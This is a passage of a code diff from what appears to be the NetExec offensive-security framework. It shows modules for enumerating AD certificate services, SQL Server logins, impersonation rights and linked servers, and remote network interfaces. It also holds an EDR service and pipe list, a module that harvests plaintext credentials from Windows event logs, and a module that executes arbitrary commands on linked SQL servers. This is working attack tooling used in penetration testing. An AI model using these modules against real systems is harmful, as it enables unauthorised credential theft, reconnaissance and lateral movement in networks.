+                {"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
+                {"name": "mfemactl", "description": "Trellix Management Service"},
+                {"name": "mfemms", "description": "McAfee Management Service"},
+                {"name": "mfefire", "description": "Trellix Firewall Core Service"},
+                {"name": "masvc", "description": "Trellix Agent Service"},
+                {"name": "macmnsvc", "description": "Trellix Agent Common Service"},
+                {"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
+                {"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
+                {"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
+            ],
+            "pipes": [
+                {"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
+                {"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
+                {"name": "mfefire_*", "processes": ["mfefire.exe"]},
+                {"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
+                {"name": "mfetp_*", "processes": ["mfetp.exe"]}
+            ]
+        },
         {
             "name": "Trend Micro Endpoint Security",
             "services": [
@@ -350,7 +449,10 @@ conf = {
                 {"name": "Trend Micro Web Service Communicator", "description": "Trend Micro Web Service Communicator"},
                 {"name": "TMiACAgentSvc", "description": "Trend Micro Application Control Service (Agent)"},
                 {"name": "CETASvc", "description": "Trend Micro Cloud Endpoint Telemetry Service"},
-                {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"}
+                {"name": "iVPAgent", "description": "Trend Micro Vulnerability Protection Service (Agent)"},
+                {"name": "ds_agent", "description": "Trend Micro Deep Security Agent"},
+                {"name": "ds_monitor", "description": "Trend Micro Deep Security Monitor"},
+                {"name": "ds_notifier", "description": "Trend Micro Deep Security Notifier"}
             ],
             "pipes": [
                 {"name": "IPC_XBC_XBC_AGENT_PIPE_*", "processes": ["EndpointBasecamp.exe"]},
@@ -368,6 +470,21 @@ conf = {
                 {"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
             ],
             "pipes": []
+        },
+        {
+            "name": "WithSecure Elements",
+            "services": [
+                {"name": "fsdevcon", "description": "WithSecure Device Control"},
+                {"name": "fshoster", "description": "WithSecure Hoster"},
+                {"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
+                {"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
+                {"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
+                {"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
+                {"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
+            ],
+            "pipes": [
+                {"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
+            ]
         }
     ]
 }

nxc/modules/enum_ca.py

@@ -0,0 +1,110 @@
+from impacket.dcerpc.v5 import transport, epm
+from impacket.http import AUTH_NTLM
+from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
+    RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
+    RPC_PROXY_RPC_OUT_DATA_404_ERR
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket import uuid
+import requests
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    -------
+    Module by @0xjbb, original code from Impacket rpcdump.py
+    """
+    KNOWN_PROTOCOLS = {
+        135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
+        139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
+        445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
+        593: {"bindstr": r"ncacn_http:%s"}
+    }
+
+    name = "enum_ca"
+    description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def on_login(self, context, connection):
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__domain = connection.domain
+        self.__lmhash = ""
+        self.__nthash = ""
+        self.__port = 135.
+        self.__stringbinding = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
+        context.log.debug(f"StringBinding {self.__stringbinding}")
+
+        rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
+
+        if self.__port in [139, 445]:
+            # Setting credentials for SMB
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.setRemoteHost(connection.host)
+            rpctransport.set_dport(self.__port)
+        elif self.__port == 443:
+            # Setting credentials only for RPC Proxy, but not for the MSRPC level
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            rpctransport.set_auth_type(AUTH_NTLM)
+        else:
+            rpctransport.setRemoteHost(connection.host)
+
+        try:
+            entries = self.__fetchList(connection.kerberos, rpctransport)
+        except Exception as e:
+            error_text = f"Protocol failed: {e}"
+            context.log.fail(error_text)
+
+            if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
+               RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_404_ERR in error_text or \
+               RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
+                context.log.fail("This usually means the target does not allow "
+                                 "to connect to its epmapper using RpcProxy.")
+            return
+
+        for entry in entries:
+            tmpUUID = str(entry["tower"]["Floors"][0])
+
+            if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
+                exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
+                context.log.debug(f"EXEs {exename}")
+                if exename == "certsrv.exe":
+                    context.log.highlight("Active Directory Certificate Services Found.")
+                    url = f"http://{connection.host}/certsrv/certfnsh.asp"
+                    context.log.highlight(url)
+                    try:
+                        response = requests.get(url, timeout=5)
+                        if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
+                            context.log.highlight("Web enrollment found on HTTP (ESC8).")
+                    except requests.RequestException as e:
+                        context.log.debug(e)
+                    return
+
+    def __fetchList(self, doKerberos, rpctransport):
+        dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        dce.connect()
+        resp = epm.hept_lookup(None, dce=dce)
+        dce.disconnect()
+        return resp

nxc/modules/enum_dns.py

@@ -1,5 +1,7 @@
 from datetime import datetime
 from nxc.helpers.logger import write_log
+from nxc.helpers.misc import CATEGORY
+from nxc.paths import NXC_PATH
 
 
 class NXCModule:
@@ -11,8 +13,7 @@ class NXCModule:
     name = "enum_dns"
     description = "Uses WMI to dump DNS from an AD DNS Server"
     supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
+    category = CATEGORY.ENUMERATION
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -34,7 +35,7 @@ class NXCModule:
         else:
             domains = [self.domains]
         data = ""
-        
+
         for domain in domains:
             output = connection.wmi(
                 f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
@@ -50,7 +51,7 @@ class NXCModule:
                     rname = text.split(" ")[0]
                     rtype = text.split(" ")[2]
                     rvalue = " ".join(text.split(" ")[3:])
-                    if domain_data.get(rtype, False):
+                    if domain_data.get(rtype):
                         domain_data[rtype].append(f"{rname}: {rvalue}")
                     else:
                         domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -64,4 +65,4 @@ class NXCModule:
 
         log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
         write_log(data, log_name)
-        context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+        context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")

nxc/modules/enum_impersonate.py

@@ -0,0 +1,49 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enumerate SQL Server users with impersonation rights
+    Module by deathflamingo
+    """
+
+    name = "enum_impersonate"
+    description = "Enumerate users with impersonation privileges"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        impersonate_users = self.get_impersonate_users()
+        if impersonate_users:
+            self.context.log.success("Users with impersonation rights:")
+            for user in impersonate_users:
+                self.context.log.display(f"  - {user}")
+        else:
+            self.context.log.fail("No users with impersonation rights found.")
+
+    def get_impersonate_users(self) -> list:
+        """
+        Fetches a list of users with impersonation rights.
+
+        Returns
+        -------
+        list: List of user names.
+        """
+        query = """
+        SELECT DISTINCT b.name
+        FROM sys.server_permissions a
+        INNER JOIN sys.server_principals b
+        ON a.grantor_principal_id = b.principal_id
+        WHERE a.permission_name LIKE 'IMPERSONATE%'
+        """
+        res = self.mssql_conn.sql_query(query)
+        return [user["name"] for user in res] if res else []
+
+    def options(self, context, module_options):
+        pass

nxc/modules/enum_interfaces.py

@@ -0,0 +1,95 @@
+#!/usr/bin/env python3
+
+import contextlib
+from impacket.examples.secretsdump import RemoteOperations
+from impacket.dcerpc.v5 import rrp
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
+    Formerly --interfaces parameter
+    Made by: @Sant0rryu, @NeffIsBack
+    """
+
+    name = "enum_interfaces"
+    description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
+    supported_protocols = ["smb"]
+    opsec_safe = False
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.context = None
+        self.module_options = {}
+
+    def options(self, context, module_options):
+        """No options available"""
+
+    def on_admin_login(self, context, connection):
+        """Execute network interface enumeration on authenticated SMB connection"""
+        self.context = context
+
+        try:
+            remoteOps = RemoteOperations(connection.conn, False)
+            remoteOps.enableRegistry()
+
+            if remoteOps._RemoteOperations__rrp:
+                reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
+                key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
+                sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
+                sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
+
+                context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
+                for sub_key in sub_keys:
+                    interface = {}
+                    try:
+                        interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
+                        interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
+
+                        # Retrieve Interace Name
+                        interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
+                        interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
+                        interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
+                        interface["Name"] = str(interface_name)
+                        if "Kernel" in interface_name:
+                            continue
+
+                        # Retrieve DHCP
+                        try:
+                            dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
+                        except DCERPCException:
+                            dhcp_enabled = False
+                        interface["DHCP"] = bool(dhcp_enabled)
+
+                        # Retrieve IPAddress
+                        try:
+                            ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            ip_address = None
+                        interface["IPAddress"] = ip_address if ip_address else None
+
+                        # Retrieve SubnetMask
+                        try:
+                            subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            subnetmask = None
+                        interface["SubnetMask"] = subnetmask if subnetmask else None
+
+                        # Retrieve DefaultGateway
+                        try:
+                            default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
+                        except DCERPCException:
+                            default_gateway = None
+                        interface["DefaultGateway"] = default_gateway if default_gateway else None
+
+                        context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
+
+                    except DCERPCException as e:
+                        context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
+
+            with contextlib.suppress(Exception):
+                remoteOps.finish()
+        except DCERPCException as e:
+            context.log.error(f"Failed to connect to the target: {e!s}")

nxc/modules/enum_links.py

@@ -0,0 +1,55 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enumerate SQL Server linked servers
+    Module by deathflamingo, NeffIsBack
+    """
+
+    name = "enum_links"
+    description = "Enumerate linked SQL Servers and their login configurations."
+    supported_protocols = ["mssql"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        linked_servers = self.get_linked_servers()
+        if linked_servers:
+            self.context.log.success("Linked servers found:")
+            for server in linked_servers:
+                self.context.log.display(f"  - {server}")
+        else:
+            self.context.log.fail("No linked servers found.")
+
+        if connection.admin_privs:
+            res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
+            srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
+            if not srvs:
+                self.context.log.fail("No linked servers found.")
+                return
+            self.context.log.success("Linked servers found:")
+            for srv in srvs:
+                self.context.log.display(f"Linked server: {srv['Linked Server']}")
+                self.context.log.display(f"  - Local login: {srv['Local Login']}")
+                self.context.log.display(f"  - Remote login: {srv['Remote Login']}")
+
+    def get_linked_servers(self) -> list:
+        """
+        Fetches a list of linked servers.
+
+        Returns
+        -------
+        list: List of linked server names.
+        """
+        query = "EXEC sp_linkedservers;"
+        res = self.mssql_conn.sql_query(query)
+        return [server["SRV_NAME"] for server in res] if res else []

nxc/modules/enum_logins.py

@@ -0,0 +1,87 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Enumerate SQL Server logins (SQL, Domain, Local users)
+    Module by deathflamingo, modified by mpgn
+    """
+
+    name = "enum_logins"
+    description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+
+        logins = self.get_logins()
+        if logins:
+            self.context.log.display("Enumerated logins")
+            self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
+            self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
+            for login_name, login_type, status in logins:
+                self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
+        else:
+            self.context.log.fail("No logins found.")
+
+    def get_domain_name(self) -> str:
+        query = "SELECT DEFAULT_DOMAIN() as domain_name;"
+        try:
+            res = self.mssql_conn.sql_query(query)
+            if res and res[0].get("domain_name"):
+                return res[0]["domain_name"].upper()
+            return ""
+        except Exception as e:
+            self.context.log.debug(f"Error querying domain name: {e}")
+            return ""
+
+    def get_logins(self) -> list:
+        domain_name = self.get_domain_name()
+        domain_prefix = f"{domain_name}\\" if domain_name else ""
+
+        query = f"""
+        SELECT
+            name,
+            type,
+            type_desc,
+            CASE type_desc
+                WHEN 'SQL_LOGIN' THEN 'SQL User'
+                WHEN 'WINDOWS_LOGIN' THEN
+                    CASE
+                        WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
+                        WHEN name LIKE '%\\%' THEN 'Local User'
+                        ELSE 'Local User'
+                    END
+                WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
+                WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
+                WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
+                ELSE type_desc
+            END as login_type,
+            is_disabled,
+            create_date
+        FROM sys.server_principals
+        WHERE type IN ('S', 'U', 'G', 'C', 'K')
+        AND name NOT LIKE '##%'
+        ORDER BY login_type, name;
+        """
+        try:
+            res = self.mssql_conn.sql_query(query)
+            if res:
+                logins = []
+                for login in res:
+                    status = "DISABLED" if login.get("is_disabled") else "ENABLED"
+                    logins.append((login["name"], login["login_type"], status))
+                return logins
+            return []
+        except Exception as e:
+            self.context.log.fail(f"Error querying logins: {e}")
+            return []
+
+    def options(self, context, module_options):
+        pass

nxc/modules/enum_trusts.py

@@ -0,0 +1,20 @@
+
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
+    Module by Brandon Fisher @shad0wcntr0ller
+    """
+
+    name = "enum_trusts"
+    description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.ENUMERATION
+
+    def options(self, context, module_options):
+        pass
+
+    def on_login(self, context, connection):
+        context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")

nxc/modules/eventlog_creds.py

@@ -0,0 +1,224 @@
+import re
+from impacket.dcerpc.v5 import transport, even6
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+from impacket.dcerpc.v5.epm import hept_map
+from nxc.helpers.even6_parser import ResultSet
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Module by @lodos2005
+    This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
+    """
+    name = "eventlog_creds"
+    description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
+    supported_protocols = ["smb"]
+    category = CATEGORY.CREDENTIAL_DUMPING
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+        self.method = "execute"
+        self.limit = None
+
+    def options(self, context, module_options):
+        """
+        METHOD         EventLog method (Execute or RPCCALL), default: execute
+        M              Alias for METHOD
+        LIMIT          Limit of the number of records to be fetched, default: unlimited
+        L              Alias for LIMIT
+        """
+        if "METHOD" in module_options:
+            self.method = module_options["METHOD"]
+        if "M" in module_options:
+            self.method = module_options["M"]
+        if "LIMIT" in module_options:
+            self.limit = int(module_options["LIMIT"])
+        if "L" in module_options:
+            self.limit = int(module_options["L"])
+
+    def find_credentials(self, content, context):
+        # remove unnecessary words
+        content = content.replace("\r\n", "\n")
+
+        # sort and unique lines
+        content = "\n".join(sorted(set(content.split("\n"))))
+
+        regexps = [
+            # "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
+            r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
+            # "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
+            r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
+            # schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
+            r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
+            # wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
+            r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
+            # psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
+            r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
+            # generic username on command line
+            r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
+            # generic password on command line
+            r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
+        ]
+        # Extracting credentials
+        for line in content.split("\n"):
+            for reg in regexps:
+                # Remove unnecessary words
+                line_stripped = line.replace("/add", "") \
+                    .replace("/active:yes", "") \
+                    .replace("/delete", "") \
+                    .replace("/domain", "") \
+                # Remove command lines that were executed with nxc
+                line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
+
+                # Use regex to find credentials
+                match = re.search(reg, line_stripped, re.IGNORECASE)
+                if match:
+                    # eleminate false positives
+                    # C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
+                    if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
+                        # if password is found but username is not found, and password is shorter than 6 characters, ignore it
+                        continue
+                    if not match.groupdict().get("password") and match.groupdict().get("username"):
+                        # if username is found but password is not found. we need? ignore it
+                        continue
+                    # C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
+                    if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
+                        # if username and password is shorter than 6 characters, ignore it
+                        continue
+
+                    context.log.highlight("Credentials found! " + line.strip())
+                    if match.groupdict().get("username"):
+                        context.log.highlight("Username: " + match.group("username"))
+                    if match.groupdict().get("password"):
+                        context.log.highlight("Password: " + match.group("password"))
+                    break
+
+    def on_admin_login(self, context, connection):
+        content = ""
+        if self.method.lower().startswith("e"):
+            limit_str = f"/c:{self.limit}" if self.limit is not None else ""
+            # https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
+            commands = [
+                f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text  /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
+                f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
+            ]
+            for command in commands:
+                context.log.debug("Execute Command: " + command)
+                content += connection.execute(command, True)
+        else:
+            msevenclass = MSEven6Trigger(context)
+            target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+            msevenclass.connect(
+                username=connection.username,
+                password=connection.password,
+                domain=connection.domain,
+                lmhash=connection.lmhash,
+                nthash=connection.nthash,
+                target=target,
+                doKerberos=connection.kerberos,
+                dcHost=connection.kdcHost,
+                aesKey=connection.aesKey,
+                pipe="eventlog"
+            )
+            for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
+                if record is None:
+                    continue
+                try:
+                    xmlString = ResultSet(record).xml()
+                    regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
+                    match = re.search(regexp, xmlString, re.IGNORECASE)
+                    if match and match.groupdict().get("CommandLine"):
+                        content += "CommandLine: " + match.group("CommandLine") + "\n"
+                except Exception as e:
+                    context.log.error(f"Error: {e}")
+
+        self.find_credentials(content, context)
+
+
+class MSEven6Trigger:
+    def __init__(self, context):
+        self.context = context
+        self.dce = None
+
+    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
+        rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
+        if hasattr(rpctransport, "set_credentials"):
+            rpctransport.set_credentials(
+                username=username,
+                password=password,
+                domain=domain,
+                lmhash=lmhash,
+                nthash=nthash,
+                aesKey=aesKey,
+            )
+        if doKerberos:
+            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
+        rpctransport.setRemoteHost(target)
+        self.dce = rpctransport.get_dce_rpc()
+        if doKerberos:
+            self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        self.context.log.debug(f"Connecting to {target}...")
+        try:
+            self.dce.connect()
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return
+        try:
+            self.dce.bind(even6.MSRPC_UUID_EVEN6)
+            self.context.log.debug("[+] Successfully bound!")
+        except Exception as e:
+            self.context.log.debug(f"Something went wrong, check error status => {e!s}")
+            return
+        self.context.log.debug("[+] Successfully bound!")
+
+    def query(self, path, query, limit):
+        req = even6.EvtRpcRegisterLogQuery()
+        req["Path"] = path + "\x00"
+        req["Query"] = query + "\x00"
+        req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
+
+        resp = self.dce.request(req)
+        handle = resp["Handle"]
+
+        return MSEven6Result(self, handle, limit)
+
+
+class MSEven6Result:
+    def __init__(self, conn, handle, limit=None):
+        self._conn = conn
+        self._handle = handle
+        self._hardlimit = limit
+
+    def __iter__(self):
+        self._resp = None
+        return self
+
+    def __next__(self):
+        if self._hardlimit is not None:
+            self._hardlimit -= 1
+            if self._hardlimit < 0:
+                raise StopIteration
+        if self._resp is not None and self._resp["NumActualRecords"] == 0:
+            raise StopIteration
+
+        if self._resp is None or self._index == self._resp["NumActualRecords"]:
+            req = even6.EvtRpcQueryNext()
+            req["LogQuery"] = self._handle
+            req["NumRequestedRecords"] = 100
+            req["TimeOutEnd"] = 1000
+            req["Flags"] = 0
+            self._resp = self._conn.dce.request(req)
+
+            if self._resp["NumActualRecords"] == 0:
+                return None
+            else:
+                self._index = 0
+
+        offset = self._resp["EventDataIndices"][self._index]["Data"]
+        size = self._resp["EventDataSizes"][self._index]["Data"]
+        self._index += 1
+
+        return b"".join(self._resp["ResultBuffer"][offset:offset + size])

nxc/modules/example_module.py

@@ -1,3 +1,5 @@
+from nxc.helpers.misc import CATEGORY
+
 
 class NXCModule:
     """
@@ -9,17 +11,17 @@ class NXCModule:
     name = "example module"
     description = "I do something"
     supported_protocols = []  # Example: ['smb', 'mssql']
-    opsec_safe = True  # Does the module touch disk?
-    multiple_hosts = True  # Does it make sense to run this module on multiple hosts at a time?
+    category = CATEGORY.ENUMERATION  # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    def __init__(self):
+        self.context = None
+        self.module_options = None
 
     def options(self, context, module_options):
         """Required.
         Module options get parsed here. Additionally, put the modules usage here as well
         """
+        # Put "No options available" in the docstring if there are no options for the module
 
     def on_login(self, context, connection):
         """Concurrent.
@@ -48,18 +50,3 @@ class NXCModule:
         Required if on_login is not present
         This gets called on each authenticated connection with  Administrative privileges
         """
-
-    def on_request(self, context, request):
-        """Optional.
-        If the payload needs to retrieve additional files, add this function to the module
-        """
-
-    def on_response(self, context, response):
-        """Optional.
-        If the payload sends back its output to our server, add this function to the module to handle its output
-        """
-
-    def on_shutdown(self, context, connection):
-        """Optional.
-        Do something on shutdown
-        """

nxc/modules/exec_on_link.py

@@ -0,0 +1,44 @@
+from nxc.helpers.misc import CATEGORY
+
+
+class NXCModule:
+    """
+    Execute commands on linked servers
+    Module by deathflamingo
+    """
+
+    name = "exec_on_link"
+    description = "Execute commands on a SQL Server linked server"
+    supported_protocols = ["mssql"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def __init__(self):
+        self.mssql_conn = None
+        self.context = None
+        self.linked_server = None
+        self.command = None
+
+    def options(self, context, module_options):
+        """
+        LINKED_SERVER: The name of the linked server to execute the command on.
+        COMMAND: The command to execute on the linked server.
+        """
+        if "LINKED_SERVER" in module_options:
+            self.linked_server = module_options["LINKED_SERVER"]
+        if "COMMAND" in module_options:
+            self.command = module_options["COMMAND"]
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.mssql_conn = connection.conn
+        if not self.linked_server or not self.command:
+            self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
+            return
+
+        self.execute_on_link()
+
+    def execute_on_link(self):
+        """Executes the specified command on the linked server."""
+        query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
+        result = self.mssql_conn.sql_query(query)
+        self.context.log.display(f"Command output: {result}")

nxc/modules/find-computer.py

@@ -1,4 +1,4 @@
-import socket
